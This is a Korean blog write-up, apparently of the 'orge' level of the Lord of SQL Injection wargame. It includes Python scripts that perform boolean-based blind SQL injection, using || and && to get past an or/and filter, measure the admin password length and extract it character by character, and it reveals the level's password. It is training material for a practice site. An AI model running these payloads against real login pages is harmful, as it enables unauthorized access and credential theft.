https://ilsancityboy.tistory.com/56
Lord of SQL Injection 4번 문제 - orc
config.php 파일참조 login_chk(); 함수 사용 db연결 get 방식으로 입력받은 pw 칸에 prob,_,.,\, () 사용시 no hack 출력 id가 admin 이고 입력받은 pw 가 일치하면 로그인성공 addslashes() 함수를
ilsancityboy.tistory.com
문제 자체는 4번과 똑같지만
주의깊게 봐야하는 라인
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
or 과 and를 필터링하는 라인이 있다.
import requests
url="https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
cookies={'PHPSESSID' : '쿠키값'}
for i in range(1,10):
params={'pw':f'\' || id=\'admin\' and length(pw)={i}#'}
res=requests.get(url=url,cookies=cookies,params=params)
if("Hello admin" in res.text):
print(i)
res=requests.get(url=url,cookies=cookies,params=params)
#print(res.text)
params={'pw':f'\' || id=\'admin\' and length(pw)={i}#'}
4번문제와 다른것은 or과 and를 우회하기 위해 || 과 &&를 넣었다는 것이다.
코드 실행으로 어드민의 비밀번호 길이는 8자리인것을 확인.
4번문제에서 비밀번호를 알아내는 코드를 똑같이 사용했다. 다만 필터링되는 or 과 and는 똑같이 우회하여 사용
import requests
import string
cookies = {'PHPSESSID': '쿠키값'}
characters = string.ascii_letters + string.digits
# 패스워드의 길이를 증가시키면서 추측
for pw_len in range(1, 9):
for pw_word in characters:
url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php'
params = {'pw': f"' || id='admin' && substr(pw, {pw_len}, 1)='{pw_word}"}
res = requests.get(url=url, params=params, cookies=cookies)
if "Hello admin" in res.text:
print(f"pw의 {pw_len}번째 값은 {pw_word}입니다")
break
따라서 admin 의 비밀번호는 7b751aec 인것을 알게됨.
?pw=' || id='admin' && pw=7b751aec 입력
'Lord of SQL Injection' 카테고리의 다른 글
Lord of SQL Injection 9번 문제 - Vampire (0) | 2024.05.13 |
---|---|
Lord of SQL Injection 8번 문제 - Troll (0) | 2024.05.13 |
Lord of SQL Injection - 6번 문제 DARKELF (2) | 2024.05.10 |
Lord of SQL Injection - 5번 문제 wolfman (0) | 2024.05.10 |
Lord of SQL Injection 4번 문제 - orc (0) | 2024.05.02 |